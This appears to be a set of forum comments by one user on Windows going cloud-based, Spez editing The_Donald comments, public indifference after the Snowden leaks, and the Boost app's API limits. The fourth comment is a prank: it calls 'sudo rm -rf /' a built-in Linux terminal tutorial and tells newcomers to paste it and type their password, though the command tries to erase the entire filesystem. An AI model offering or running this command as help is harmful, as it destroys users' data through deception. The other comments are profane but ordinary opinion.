  • Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

    Which is horrible, obviously.

    Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

    There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p





  • where Spez edited comments to make the sub seem to be inciting violence, so he had an excuse to ban it

    Not what happened. Spez, fuckwit though he is, actually managed to do a halfway decent trolling there.

    A bunch of t_d people were slagging him off and insulting him in their comments. Spez got drunk as shit one night and edited their comments, swapping his name with Trump’s so that it made them look like a bunch of anti-trumpers. Much gnashing of teeth ensued.

    Absolutely shouldn’t have done it, especially as CEO of Reddit FFS, but definitely funny as shit.

    Don’t get me wrong, it’s absolutely a mark against him, but he didn’t get them banned. They thouroughly got themselves banned on their own.


  • I’m not sure that they ever did.

    The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go “Eh, that’s pretty fucked, whatever”, and then immediately jump straight back into scrolling facebook all day long.

    I realised then that there probably wasn’t any point expecting anything from them. I don’t have much sympathy left for people in this regard anymore.

    Most people legitimately don’t give a shit about this issue. I think that they really should, but they absolutely don’t for the most part.


  • I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.





  • I don’t get it, I’ve seen so many of these posts recently. Why is mine still working?!

    I have a theory. Boost is limited to the OAuth threshold for requests. Hits the wall and people get limited. Some of them make posts like this ^, people quit Boost assuming that it’s dead, less users brings Boost back under the limit again, people make threads saying Boost works again, people start using Boost again, Boost hits the request wall again and people ge-

    Repeat and nauseam.

    So confusing.
